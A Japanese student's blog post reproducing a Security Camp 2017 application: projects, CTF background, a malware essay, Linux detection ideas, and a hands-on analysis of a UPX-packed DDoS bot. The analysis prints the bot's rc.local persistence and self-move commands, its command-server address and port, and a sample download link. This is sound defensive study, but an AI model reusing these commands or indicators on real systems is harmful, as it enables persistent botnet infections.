セキュリティキャンプ全国大会2017に応募した。

応募しました。
去年応募したんですが落ちたので再チャレンジです。

今回は選択コースと集中コース(X, Y, Z)にわかれていたので集中コースZ(Linux向けアンチウィルス実装トラック)に申し込みました。
文字数は23000文字くらいでした。選択問題の最後のやつにコマンドの出力そのままのっけてたら余裕で1万文字をこえてしまったのでつらい。
経験と実績が微妙かつ分量も多いとは言えなさそうなので通るか不安です。
(6/15 追記 参加が決定しました。 来年以降に応募する方の参考になれば幸いです。
以下応募用紙です。

あなたが今まで作ってきたものにはどのようなものがありますか?いくつでもいいので、ありったけ自慢してください。

現在進行中ですが、大学のサークル活動の一環としてブラウザ上で遊べる3Dオンラインゲーム(対戦ゲーム)を制作しています。
チームで開発しており、それぞれモデル、サウンド、キャラクターデザイン、プログラムに担当を分けて合計9人(モデル: 3人、サウンド: 1人, キャラクターデザイン: 1人、プログラム: 4人)でチームが構成されており、それぞれの得意分野を活かしながら活動しています。私はプログラムのサーバー部分を担当しています。
また、制作の経緯として、過去に同じような3Dオンラインゲーム(対戦ゲーム)を作成したことがありました。
しかし、クライアントとサーバーの同期がうまくできず、制作を断念することになってしまったため、リベンジとしての意味も込めて制作しています。
なので今回はクライアントとサーバーの同期方法をサーバーを中心にしてゲームを進行できる形にし、クライアントの状態が競合し得ないような設計にしました。
おかげでブラウザ上で動作できるほどの軽さと同期問題の解決の両方が実現しました。
完成までは後少しなのでなるべく早く完成させたいと考えています。

サークルのメンバーとHackU東京工業大学というYahoo!Japanと東京工業大学共催の2日間のハッカソンで作成したWebアプリケーションです。
この作品は、会議などの話し合いの場で、各人に与えられたマイクからその人の声を拾い、議事録を自動作成するためのアプリケーションです。
それに加えて、話し合いを活発にするために、議事録として得た文から単語を抜き出し、その単語と関連語を共起ネットワークとして表示する機能も実装しています。私はこの共起ネットワークの描画を担当しました。
他にもKinectを用いており、参加者の表情から喜怒哀楽を判定し、それを表示したり、表示された単語のネットワークをクリックするとすぐに検索エンジンで調べられる機能も実装しました。
アプリケーションでYahoo!賞という賞も受賞させて頂きました。

大学の学生専用サイトへの自動ログインスクリプト
大学の学生用サイトへアクセスするためには学生証に書いてある表を見ながらでないとできず、ログインの度に学生証を取り出すのは不便だったので作りました。

ライフゲーム
ライフゲームで、大量のセルでも速く動作するようにハッシュライフアルゴリズムを実装しました。
このアルゴリズムライフゲームの盤面を四分木で再帰的に分割していき、それぞれの四分木のノードのハッシュ値をキャッシュして高速化するアルゴリズムです。
また、このアルゴリズムでは2べき乗フレーム後の盤面を一フレームの計算することができ、とても速く計算できます。
こちらがリポジトリです。 https://github.com/kriw/hashlife

電磁気の可視化ソフト 大学1年生の時にアルバイトで(1次元方向に進む)電磁気が伝搬する様子を可視化するプログラムを書きました。 内容としては解析を始めると理科の教科書にあるような電場ど磁場が直交しながら空間上を伝搬していきます。 また、空間上に誘電体を設置すると、その誘電率透磁率といった物体のパラメーターに応じて電磁波が減衰、反射をしたりします。 こちらに概要が有ります。(2017年5月23日)https://www.kagiken.co.jp/freesoft/keyfdtd-chan

シェル 去年の大学の課題でシェルの機能の一部を実装しました。 実装内容としてはコマンドの実行とパイプ、ヒストリなどです。 また、非カノニカルモードで動作するようにし、上下矢印キーで編集箇所の移動、ヒストリの表示を可能にしました。

slackbot CTF用にSlackがあるので何か補助をしてくれればと思い作成しました。 最近作り始めたので、現在は指定したURLからファイルをダウンロード&アップロードと素因数分解をする機能だけですが今後はもっと機能を増やしていこうと考えています。

その他に競技プログラミングやCTFで問題を解くのに必要なコード、スクリプトを書いています。

それをどのように作りましたか?ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。 追加したい機能や改善の案があれば、それも教えてください。

最初に書いたゲームについては、クライアントはJavascriptでThree.jsを使って書かれており, サーバーはRustで書いています。サーバー側の使用ライブラリはWebSocketとMessagePackのライブラリです。ゲームエンジンは使用していません。
また、実装を簡単にするために、ユーザーがプレイヤーの状態(HP を無限にするかなど)の書き換えなどの不正を可能な設計にするべきか迷いました。
また、プログラムはクライアント、サーバーそれぞれ二人づつで、gitを用いて同じ担当の人にプルリクエストを投げながら開発を進めていきました。
改善点としては設計の段階でプログラムの構造を抽象化をしすぎてしまい、プログラムが複雑で可読性が低くなり、開発の効率が下がってしまいました。なので、なるべく単純な構造になるように書き換えたいです。
また、追加したい機能としては現段階ではAIが未実装なので、2人以上集まらないと遊べません。なのでAIを実装したいです。

ハッカソンで作った作品は、フロントエンドとバックエンドをそれぞれJavascript/node.jsで書きました。また、バックエンドではword2vecを用いてクライアントへ解析結果を送信しています。
改善点はgoogleの日本語の音声認識サービスを使っていましたが、誤認識が少しあったので、より正確に認識できるようにしたかったです。また、canvasを用いたグラフの描画が愚直な実装で計算量が多いので、そこを高速化したいです。

大学の学生専用サイトへの自動ログインスクリプトは、PythonでrequestsとSeleniumというライブラリを用いて実装しました。
認証はマトリクス認証という方法で行われており、学生のアカウント名とパスワード、更に学生証に記載された認証コードを入力しなければいけなく、それをソースコードに直書きしているので(base64エンコードしてすぐにはパスワードがわからないようにはなっていますが)、万が一他人にコードが見られたらパスワードがバレてしまってまずいのでなんとかしたい。
改善案はパスワードのハッシュ値ソースコード内に用意してスクリプト起動時にパスワードを要求して認証成功ならスクリプトを起動できるようにすればよいと思いました。
これならパスワードだけは守れるので最悪の事態からは逃れると思います。

ハッシュライフアルゴリズムライフゲーム)ですが、D言語で書かれており、DlangUIというライブラリを描画のために使用しています。
D言語を使った理由は、D言語を試してみたかったということと、C/C++と違い、GCが実装されているということです。
ハッシュライフアルゴリズムGCを必要としているようで、D言語の方が楽に実装できると思いました。
問題点として、描画がいきているセルの数だけしなければいけないということがあるので、高速化したいです。
また、Rustの方がメモリ管理が高速で安全に行えるので、いつかはRustで書き直したいと考えています。
  電磁波の可視化ソフトは、GUIを手軽に実装するために、VisualBasicで実装していました。 開発当時はプログラミングを初めて数カ月であり、あまり慣れていなかったことからこの言語になりましたが、もしもう一度開発をするならばC++かRustで書き直したいと思います。また、Windowsでしか動作しないためQtなどでクロスプラットフォームなアプリケーションにしたいです。 このソフトウェアの問題点は計算と描画が非常に遅いことです。なので,GPUでの計算に対応したり、シェーダーで描画をして高速化したいです。

シェルはC言語で実装しました。ライブラリは標準ライブラリだけです。 また、問題点として、パイプの実装を間違えてしまいパイプが詰まってしまう点です。 なので、改善点としてはパイプの修正とバックグラウンドの実行や、for文や";“をコマンドの区切り文字として扱えるようにしたいです。

Slackbot ライブラリはlins05/slackbotというpythonのライブラリを用いて書いています。 問題点はライブラリ本体ですが、slackのチャンネルに上がったファイルをダウンロードする機能が欠けていることと、機能が少ないことです。 改善点は直近のCTFの通知機能をつける事や、バイナリファイルの自動解析機能をつけることができればと思います。 バイナリファイルの自動解析機能とは、そのファイルのセキュリティ機構の有無だけでなく、ファジング機能などの脆弱性発見の補助となる機能のことです。

開発記のブログ、スライドなどの資料があれば、それも教えてください。 コンテストなどに出品したことがあれば、それも教えてください。

サークルのブログで私が書いた、もしくは関わったものについて挙げます。 * HackU東京工業大学に出ました。 https://trapti.tech/blog/1341/

CTF * サイバーコロッセオxSECCON2016に出ました。
記事を書いたのは私ではありませんが https://trapti.tech/blog/5988/ に簡単な様子が書いてあります。
* SECCON2016 quals
https://trapti.tech/blog/4349/ Cheer_msg (Exploit 100)についてWriteUpを書きました。

競技プログラミング
* ICPC 国内予選2016
https://trapti.tech/blog/1493/ チームの一員として関わりました。
* AOJのアカウントです。
http://judge.u-aizu.ac.jp/onlinejudge/user.jsp?id=kotarou777775#0

Twitterアカウント、Github、ブログをお持ちでしたら、アカウント名、URL等を記載してください。

Twitter @kotarou777775
Github kriw

あなたが経験した中で印象に残っている技術的な壁はなんでしょうか?(例えば、C言語プログラムを複数ファイルに分割する方法など)

WindowsLinuxデュアルブート windowsが入っているPCでlinux(Arch linux )とデュアルブートしようとしました。その時にMBRでパーティショニングをしてしまったせいか、windowsが起動しなくなってしまい、必死で解決方法を探しました。 調べた結果、GPTでパーティショニングする必要があるとわかったため、GPTでパーティショニングしました。 そこでも何故かブート時にwindowsが認識されませんでした。 また、grubを使っていたのですが、このトラブルのおかげでPCがまずgrubなどのブートローダを起動しブートするOSを選択するということがわかりました。

プログラムの設計 ゲームを書いていた時、抽象的の構造にこだわり過ぎてしまい、必要の無い抽象化をしてしまいました。 このせいでコードが何をしたいのか他者に伝わらず、おまけに構造を考えるのに多くの時間を費やしてしまいました。 ある程度同じようなコードが書いたことがあり、目指すべき構造を把握していればそれで良かったかもしれませんが、あまりゲームのプログラムを書くことになれていなかった為、結局当時の実装ではゲームを動かすのに必要な部分が欠如してしまい余計にコードを書く時間が増えてしまいました。 今後はとりあえず動くものを書いて、あとでリファクタリングをするべきだと痛感しました。 慣れない分野のコードを書く時は、なれている人にどのような構造を作るか聞くか、とりあえず実装してみることが重要であり短時間でプログラムを書くために必要な能力でもあると今では思っています。

OpenGLで複数のテクスチャを使う方法 OpenGLで複数のテクスチャを組み合わせてシェーダーを描くためには、必要なテクスチャユニットをglActiveTextureで有効、テクスチャIDを取得して、IDを指定してバインドする必要があります。 またシェーダー内でシェーダーを呼び出すプログラム側から変数を設定しなければいけなく、シェーダーにテクスチャを複数枚渡すためには変数としてテクスチャを登録しなければいけません。 しかし、これまでにOpenGLでプログラミングをしたことがなく、テクスチャユニットや、テクスチャの入力データの形式(GL_FLOATやGL_INT_8_8_8_8など)などの知見が全くなく大変苦労しました。

文字コード プログラミングを始めたばかりの時にmacOS上のjavaで日本語を出力した時に文字化けしてしまいました。 デフォルトで日本語はshiftjisになっていたためでした。

Rustでコンパイル時定数を外部ファイルから入力する方法 JSON形式のファイルをコンパイル時に定数として使いたかった時にcargoのビルドスクリプトを書くと簡単に実現できたとインターネットで教えてもらいました。

CTFでのエクスプロイトでのシェルの起動方法 CTFでPwnableというジャンルの問題の多くは脆弱性をついてシェルを起動しますが、たとえば、python シェルを起動するペイロードを出力するスクリプト | ./プログラムという風に実行するとシェルは起動出来てもこれ以上は入力することができませんでした。

スタックフレームについて CTFで、スタックベースバッファオーバーフローをする際にスタックフレームに関する知識が書けていたため、やってみたら出来という感じになっていました。

また、その壁を乗り越えるためにとった解決法を具体的に教えてください。 (例えば、知人に勧められた「○○」という書籍を読んだなど)

WindowsLinuxデュアルブートでは検索して調べたところ、私と同じ事をしていた人がブログ記事として書いてくれていたおかげで 、予めブートローダwindowsを認識させなければいけないことがわかりました。

プログラムの設計については、プログラムを書くことが得意な友人にどのように考えてプログラムを書いているか相談しました。 また、相談するだけでなくその人のgitのリポジトリから進捗の過程を見てどのような手順で開発を進めているかを学びました。

OpenGLでは(OpenGL, multiple textures)で検索して、googleの検索言語も英語にすることで、量の多い英語の情報がより見つかりやすくしました。StackOverflowやその他の掲示板から同じ疑問に当たっている人がいないか調べました。 また、ドキュメントの見たり、OpenGLチュートリアルを見ました。

文字コードの問題は使用しているOS(macOS),エディタ(vim)をキーワードに含むようにして検索しました。macOSのデフォルトの文字コードは何か、vimではどうなのかなど当時は全く知識が無かったので自分が使用している環境について一つづつ調べて明らかにしていきました。

Rustでコンパイル時定数を外部ファイルから入力する方法については、Rustはまだ新しい言語であるため情報量も限られていたためgoogle検索で英語でかつ更新が1年以内のものにして調べました。 これでも出てこず、StackOverflowで調べても無かったのでそこで質問したところ返事が来て解決しました。

CTFでのエクスプロイトでのシェルの起動方法については、そのCTFの問題のWriteUpをよんで、エクスプロイト時に実行しているコマンドを読むことで解決しました。

スタックフレームについては、調べると多くの情報が出てきましたが記事を読むだけでは頭に入らなかったので、OverTheWireというサイトを利用してバッファオーバーフローの練習をしてret命令やleave命令時の挙動を観察、調査することでスタックフレームへの理解を深めていきました。

上記のまとめ まずはインターネットで調べます。 対象の公式ドキュメントや、Qiitaや個人のブログの投稿、StackOverflowなどの掲示板で既に出ている質問から探します。 それでも見つからなかった場合は自分で質問をするか、情報量が多すぎてかえって見つからない場合は友人に相談し、少なすぎる場合は掲示板で質問したりします。 また、google検索をする際に古い情報を取り除きたい場合は設定で1年以内に更新が合ったページしか表示しないようにしたり、言語設定を英語に変更して検索に引っかかる情報を増やしたり工夫をしています。

その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?

とりあえずStackOverflowなどの掲示板で同じ疑問に当たっている人がいるかどうか調べるようにと言います。 あと、英語の情報は豊富なので日本語で探してなければ検索設定を英語にするようにアドバイスしたいです。 いくら調べても見つからなかった場合、思い切ってStackOverflowなどで質問してみると良いと思います。 英語のサイトでも、自分がした質問が読みやすくなるように第三者が編集してくれたりとコミニティによっては英語に多少不自由が合っても助けてくれるので質問することを勧めます。 また、過去には調べても見つからないような情報なので、その質問はまた同じ壁に当たるであろう人の手助けになると思います。 上記の方法で調べてもわからなかった場合は、少し時間を空けてからその課題に再挑戦すると良いと思います。ある程度時間が空くと違った考え方が出来るようになったり、新たな知識が増えるので問題を解決する確率も上がるはずです。

あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可)そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?

私が今年のセキュリティキャンプで受講したい講義は"Linux向けマルウェア対策ソフトウェアを作ろう"です。
私は普段CTFという競技を通してセキュリティについて考えることはあり、ものづくりとセキュリティの両方に興味があるため、この講義がとても面白く思えました。 私はCTFという競技を通じてセキュリティについて関心を持ち、また、プログラミングをしている理由が何か役に立つプログラムを書きたいという思いから、ものつくりに集中することが出来る集中コースを希望しました。 また、私はセキュリティの興味の延長で以前からマルウェアには漠然と興味があったため、このLinux向けマルウェアに対策ソフトウェアを作成するコースを希望しました。 また、近年流行り始めているIoTという分野に関わるきっかけとなればと思ったこともこのコースを受講したいと思った理由の一つです。 私は選択問題を解く為に初めてマルウェアを解析しました。今までCTFでバイナリファイルを解析をしたことはあり、いくつかリバースエンジニアリングに関する問題も解いたことがあるので、そこで得た知見を用いて解析を試みみした。 しかし、objdumpやreadelfから情報が得られないだけでなく、ライブラリコールのトレース(ltrace)をしても特に情報が得られなかった為、システムコールをトレース(straceを用いて)しておおよその動作を把握しながら徐々に解析をしていきました。 そのため、想像以上に動作の把握に苦労しました。 また、解析はとても大変でしたがプログラムの挙動から攻撃手法が読み取れたり、gdbスクリプトを書いたりLD_PRELOADを設定してライブラリ関数を別のものに置き換えたりしてプログラムを工夫して解析しなければならないパズルのような点がとても面白かったです。 このパズルのように頭を使う行為をいかに自動化して楽に大量のマルウェアを解析出来るかにも興味を持ちました。 そのため、この講義ではマルウェア解析に関する知識を身につけて適切に解析出来るようにすることと、開発者目線でセキュリティについて考える力をつけたいと思います。更に、集中コースということで、一つの分野について比較的深く学ぶことが出来るということもこのコースを希望した理由の一つです。

また、全体講義の"倫理観の形成を目的とした「特別講演」"という講義?に興味を持っています。 以前、インターネットで脆弱性を見つけた学生が脆弱生を報告し退学処分を受けたという記事を見ました。 善意で報告をした結果、処分されてしまったことはとても悲しい事だと思います。 このケースが特殊なケースもしれません。 しかし、もし、自分が身近なウェブサイトの脆弱生を見つけてしまった時になにをするべきか考えさせられました。 下手に脆弱生を見つけて悩むくらいなら脆弱性を探す事自体が間違えかもしれないという考えもあります。 なので、この倫理観を形成を目的とした講義を通じてもっと情報セキュリティに関する倫理観を身に着けたいと考えています。

あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可)自由に答えてください。

わたしがセキュリティキャンプでやりたいことは同じような分野に興味を持つ人と関わることです。大学では、ゲーム制作やアルゴリズムプログラミング言語に興味がありかつ詳しい人はいますが、セキュリティ(特にリバースエンジニアリング)に興味の持つ人の数は少ないため知識を共有することが難しいので、興味を共有できる人と知り合ってセキュリティに関する知識を深め合いたいと考えています。
また、私はCTFという競技に興味があり、オンラインで月に1,2回CTFの大会に出ています。CTFではセキュリティに関する深い知識が問われる問題もあります。去年まではこのキャンプでCTFもされていたことからCTFに興味のある参加者の方々も多いと思うのでその方々とも色々な話をしたいと思っています。もちろん興味が違う人から話を聞いて新しい世界を知りたいです。CTFやセキュリティに関する知見や、プログラムの解析手順などの技術的知識、考え方がセキュリティキャンプで獲得できればとも考えています。
また、セキュリティキャンプの講義の内容は興味深く、独学では得られないような知識が得られるのではないかと考えているので、講義も非常に楽しみです。このキャンプでの経験が新しい事を学ぶきっかけにもなればと思っています。
このキャンプで身につけた知識を大学の友人やサークルで共有することで低レイヤな世界を布教すると同時に、興味のある人たちと技術的にレベルアップをしたいと思っています。

マルウェアとは何か/どういうことをするものかを書いてください。 またLinuxマルウェアWindowsマルウェアの違いを調査・考察し書いてください。

調査

wikipediaやPractical Malware Analysisという本から得た情報です。

マルウェアとは不正かつ悪意のある目的で作られたソフトウェアやコードの総称であり、ワームやトロイの木馬スパイウェアキーロガーにボット、ルートキットなどと様々な種類のものが存在しています。

それぞれは以下の通り * ウイルス * コンピュータウイルスのことで、自身の一部をコピーして他のプログラムを書き換えることで増殖するマルウェア。 * ワーム * 単体で動くプログラムであり、自身を複製しながら他のプログラムに伝染していきます。 * トロイの木馬 * 一見害の無いプログラムに振る舞うが、裏でバックドアを作成し攻撃者に情報を提供したり、悪意のあるプログラムをダウンロードさせる機能などを持つ。 他にもデータの破壊やDDos攻撃ランサムウェア、PCのカメラのコントロールなどさまざまの目的があります。 * スパイウェア * 使用者の許可なくコンピュータ内部の情報を送信して情報収集に使われます。 * キーロガー * スパイウェアのようなものでキー入力のログを取ります。 パスワードの奪取目的で使われる場合が有ります。 * ボット * ボットネットと呼ばれ、IRCを通じて攻撃者から命令を受取り、DDos攻撃スパムメールの送信をします。 * ルートキット * 攻撃者がコンピュータに侵入した後に用いる上記のマルウェアのツールセットのようなものです。 * ランサムウェア * 被害者のコンピュータ(のデータ)を人質にして身代金を要求します。 * ダウンローダ * 小さなプログラムで、悪意のあるプログラムなどをダウンロードさせて攻撃の足がかりにするマルウェアです。 * ランチャー * 別のプログラムを起動させるためのマルウェアです。

マルウェアは他者のPCを利用して倫理的に良くない何かを実行させるものと考えられます。たとえば、ランサムウェアの用にプログラムを人質にとって金銭を要求したり、ルートキットのように侵入したコンピュータ上で権限昇格を行うことやDos攻撃でサービスの邪魔をしたりすることだと考えています。 また、一部のマルウェアは自身の解析を防ぐための技術が含まれており、リバースエンジニアリングの防止方法を学ぶ方法の1つとして役に立つ側面を持っていると思います。

Linux, Windowsマルウェアの違い

Windowsマルウェアの数は10万以上であるのに対してLinuxマルウェアは1000に満たないとされています。(Wikipedia調べ) Linux脆弱性に対して迅速なアップデートをしているのでマルウェアルート権限を奪取できないこともLinuxマルウェアが少ない要因の一つであると考えられています。
http://malwaredb.malekal.com/index.php で一覧を見ても、Windows上で動作するマルウェアがほとんどでした。 また、最近Wanncryというランサムウェアが流行しました。このような金銭を要求するようなウィルスはWindowsに多く、LinuxマルウェアではDDos攻撃が多いと思われます。上のサイトでもLinuxマルウェアDDos攻撃を目的としたものが大半でした。
またWindowsではサポートの切れたバージョンを使う人(企業)が少なくない為に、既知の脆弱性でも有効になってしまいます。 一方でLinuxでは、利用者の絶対数が少なくかつ比較的技術に詳しいためか、ランサムウェアが流行することもないと思われます。

 プログラムの形式としては、WindowsではファイルフォーマットはPEでWinAPIを経由してOSの機能が利用できます。 LinuxではELF形式が多く、libcの関数を呼び出すことでOSの機能を使うことができます。 また、WindowsマルウェアではVBScriptやWScriptでスクリプトファイルを実行して、他のマルウェアをダウンロード、コマンドの実行をさせます。linuxでは上記のようなスクリプトは使えないため、Windowsほどの脅威にはならないと思われます。しかし、javascriptの実行は可能なので、javascriptダウンローダとしては機能します。

マルウェアを作成するための言語はWindownsではC/C++,C#,VBScript,Javascript,VisualBasic等が考えられます。 一方でLinuxではC/C++,Javascriptマルウェアが作成されていると私は考えています。

また、マルウェアの感染経路は以下が考えられます。 メールやSNS経由でファイルを開いた場合。(ソーシャルエンジニアリング) また、悪意のあるウェブサイトを作成し、XSS、またはその他を攻撃によりそのウェブサイトを開かせることで、マルウェアをダウンロードさせるなどが可能です。 WindowsではPDFの読むためのソフトからスクリプトの実行、MicroSoft Office脆弱性を付くなど、ユーザーが普段使うソフトウェアを通じて、 一方でLinuxではウェブサーバや接続を待機しているプログラムが攻撃されることが多いと思われます。

Linuxマルウェアを検知するアイデアを書いてください。 どこで、どのようなロジックで、何を検知するのかを意識して書いてください。 また機械学習や深層学習のネタを書く時は、実験データや特徴量、アルゴリズムなどをちゃんと書いてください。

  • マルウェアの場合、プログラムのエントリポイントにたどり着いてから自身をアンパックして攻撃を始めるものも存在するのでエントリポイントへたどり着いてからのmmapを用いた新たな実行可能領域の追加の検知をするとよいと思います。 このキャンプの選択問題でマルウェアを解析してところ、その1つに、難読化されているものがありました。これは確信はありませんが、内部にUPXで圧縮されたプログラムがあり、これを内蔵したUPXの解凍処理でプログラムを展開していました。その後、それをロードしたプログラムとは別の領域にマップしていました。これはマルウェア特有の動作ではないかと思います。なので、mmapした領域にメモリ内部の情報をセットするようであればこれをマルウェアと判定すれば、内部で自己解凍するマルウェアの検知が出来ると思いました。
  • 登録していないアドレスとの通信から検知 DDos攻撃が目的の場合、connectシステムコールが必要です。なので、登録していないアドレスへ接続しに行く場合、明らかに不審であるため、容易に検出出来ると思われます。またシステムコールの記録はauditdを使用すれば可能です。
  • /etcなどLinuxの設定に関わるファイルのあるディレクトリへの書き込み auditdを用いれば特定のコマンドの実行を検知できるので、mvコマンド等のファイル書き換えコマンドを監視して、マルウェアを実行しうるユーザーがホームディレクトリ以下以外を書き換えようとした場合にマルウェアと判定することが出来ると思います。
  • 対象ファイルをVirusTotalなどでスキャンする。  たとえば、VirusTotalマルウェアと思われるファイルをスキャンし、ウィルス対策ソフトの20%以上がマルウェアと判定した場合にこれをマルウェアと判定します。

  • ファイル内部のある長さのバイト列(たとえば4 ~ 16 byte)を保存して、各プログラムのバイト列のリストから類似度を計算してマルウェアかどうか判定する。 マルウェアにはsystemexecveなどコマンドを実行する関数の呼び出しやmmapで実行可能領域をマップするなど、特有の動作があるはずなのでこれらを処理をする命令列(バイト列)を保存して他のプログラムにどれほど含まれているかを計算することでマルウェアかどうか判定出来るのではないかと思いました。また、類似度の計算方法はバイト列に値を対応づけて相関係数を計算したり、集合として表現して共通集合や和集合を要素の比を用いた重み付けなどを用います。

Linuxプログラミングについて、経験がある項目を複数選択してください。

  • Python, Ruby, Perlなどを用いてコマンドラインアプリケーションを作成したことがある

    ELFフォーマットのバイナリに関して、知識・経験がある項目を複数選択してください。

  • コンパイルして実行したことがある
  • gdbなどデバッガを用いてデバッグしたことがある
  • readelf, objdumpを用いてELFフォーマットの情報を見て理解できる
  • LD_PRELOADを用いた関数フックを行った場合の動作を説明できる

PE、ELF問わず実行形式のバイナリのマルウェア解析について、経験がある項目を複数選択してください。

(Rick and ucq)Mirai以外のLinuxマルウェアを2種類以上解析し、それぞれについての解析結果をできる限り詳細に書いてください。

マルウェア解析1

こちらのサイトからダウンロードしました。 http://malwaredb.malekal.com/index.php?&hash=18442c18d407ba32fdfa2bbf0c86565f

対象ファイル

インターネットによる調査

ハッシュ値

md5: 18442c18d407ba32fdfa2bbf0c86565f sha1: 20f8c0498c9d01638bc8a2f9af5c845d02bc1bbe

ファイルフォーマット

elf64-x86-64

ファイルサイズ

11128 KB

その他

  • objdumpreadelffileコマンドで調べても64bitのPCで動作するELF形式のバイナリであることの他には、エントリポイントのアドレスが0x102380であることしかわかりませんでした。

strings

意味のありそうな文字列

GUPX!
HTTP/1.1
pt: text/html, appliZ
-Language8zh-CNN
nSMozilla
GCC: (GNU) 4.
Red Hat
.symtab
no.ABI-
gnu.build-id
uff.c
dummygENDKFR
cmain
GLOBAL_OFFSE
TABLE8
UPX!
PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.07 Copyright (C) 1996-2010 the UPX Team. All Rights Reserved. $
UPX!

UPXという文字が多くあり、UPXでパックされているのかと思いアンパックを試みましたが、checksum errorによりアンパックが失敗しました。 また、strings $(which upx)を実行した時にUPX!, GUPX!,$Info: This file is packed with the UPX executable packer http://upx.sf.net $といった文字列が入っており、かつUPXでパックしただけではこのような文字列は含まれないことから、このプログラムは内部でUPXを含んでおり、これを実行しているのではないかと思いました。

実行結果

sh: 1: cannot create /etc/rc.d/rc.local: Directory nonexistent
/bin/mv: cannot move './DDos_18442c18d407ba32fdfa2bbf0c86565f' to '/usr/local/netd': Permission denied

実行結果では、/etc/rc.d/rc.localを作ろうとし、自分自身をmvコマンドのようなもので移動させようとしているようでした。

strace

straceでの出力でプログラムを展開させていると思われる部分以外では以下が気になりました。

rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7f749c145220}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x7f749c145220}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffd8717552c) = 2098
wait4(2098, sh: 1: cannot create /etc/rc.d/rc.local: Directory nonexistent
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7f749c145220}, {SIG_DFL, [], SA_RESTORER, 0x7f749c145220}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x7f749c145220}, {SIG_DFL, [], SA_RESTORER, 0x7f749c145220}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffd8717552c) = 2099
wait4(2099, /bin/mv: cannot move '/usr/bin/strace' to '/usr/local/netd': Permission denied

二箇所でcloneしてwaitが呼ばれている部分がありました。 シェルのコマンドが実行されていると考えました。(strace shでもコマンド実行時にcloneからwaitが呼ばれていることを理由に考えました。)

socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("61.147.103.21")}, 16) = -1 ECONNREFUSED (Connection refused)
close(3)                                = 0
nanosleep({1, 0}, 0x7ffe7bdb9660)       = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3

上はシェルのコマンドを実行後に繰り返される処理です。ソケットを開いて、特定のIPアドレスへ接続を試みており、今回は接続に失敗したので、ソケットを閉じ、1秒毎に接続を繰り返していました。

実験1

LD_PRELOADを用いてライブラリ関数を置き換えてみようと思いました。コマンドを実行している場所をみるとsystem関数を呼び出しているのではないかと思った為、system関数を置き換えてみます。 また、connectも置き換えられると思ったのでconnect関数も置き換えて見ました。 以下のコードで置き換えました。

#include <stdio.h>

int system(char *line) {
    puts(line);
    return 0;
}

int connect(int socket, void *address, size_t address_len) {
    puts("connect");
    return 1;
}

コンパイルします。

gcc -c -Wall -Werror -fpic lib.c && gcc -shared -o lib lib.o

実行します。

$ LD_PRELOAD=./lib ./DDos_18442c18d407ba32fdfa2bbf0c86565f
echo '/usr/local/netd&'>>/etc/rc.d/rc.local
/bin/mv -f "./DDos_18442c18d407ba32fdfa2bbf0c86565f" /usr/local/netd
connect
connect

上記の結果通り、system関数にコマンドを直接渡しています。またconnect関数も呼ばれていることがわかります。

この実験でわかったこと

  • libcの関数を使用している。そのためLD_PRELOADを用いてデバッグが可能。
  • system("echo '/usr/local/netd&'>>/etc/rc.d/rc.local")でユーザーのローカルファイルを上書きしようとしている。
  • system("/bin/mv -f "./DDos_18442c18d407ba32fdfa2bbf0c86565f" /usr/local/netd")で強制的にこのプログラムを/usr/local/netdに移動させている。
  • 上記の2つのコマンドにより、OS起動時に自動でこのプログラムが起動される。
  • IPアドレス61.147.103.21:55555へ接続を試みている。

gdbによる解析

以下はgdb(gdb-peda)でcatch syscall accessをし、初めてaccessが呼ばれた時点でのメモリのマップの一部です。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00100000         0x00101000         r-xp      /home/kriw/sandbox/sf_mal/test/elf/DDos_18442c18d407ba32fdfa2bbf0c86565f
0x00400000         0x00405000         r-xp      mapped
0x00405000         0x00604000         ---p      mapped

上のメモリマップを見ると、プログラム起動後にmapされてかつ実行可能な領域が有りました。
また、アドレス先頭の文字列をx/1s 0x100000x/1s 0x400000で見ると以下の結果が得られました。

gdb-peda$ x/1s 0x100000
0x100000:       "\177ELF\002\001\001\003"
gdb-peda$ x/2s 0x400000
0x400000:       "\177ELF\002\001\001"

上の結果から0x400000から新たなELF形式のプログラムがマップされているのではないかと思ったので、この領域で最初に事項される命令を探します。

以下のスクリプトにより探しました。

import gdb
head = 0x00400000
tail = 0x00405000
gdb.execute('set pagination 0')
gdb.execute('catch syscall brk')
gdb.execute('run')
rip = 0
while not (head <= rip and rip <= tail):
    gdb.execute('si')
    rip = gdb.execute('i r $rip', to_string=True)
    rip = int(rip.split()[1], 16)

上記のスクリプトを使用し、0x400000 <= $rip <= 0x405000になってから実行される命令列は以下のようになります。

gdb-peda$ x/11i $rip
=> 0x401220:    xor    ebp,ebp
   0x401222:    mov    r9,rdx
   0x401225:    pop    rsi
   0x401226:    mov    rdx,rsp
   0x401229:    and    rsp,0xfffffffffffffff0
   0x40122d:    push   rax
   0x40122e:    push   rsp
   0x40122f:    mov    r8,0x4042c0
   0x401236:    mov    rcx,0x4042d0
   0x40123d:    mov    rdi,0x404139
   0x401244:    call   0x400fc8

上の命令列は、以下のコードをgccコンパイルしたプログラムのエントリポイント付近にある命令列とほとんど同じでした。
このことから、アドレス0x401220は別のプログラムのエントリポイントであると考えられます。

//hoge.c
#include <stdio.h>

int main() {
    puts("OK");
    return 0;
}

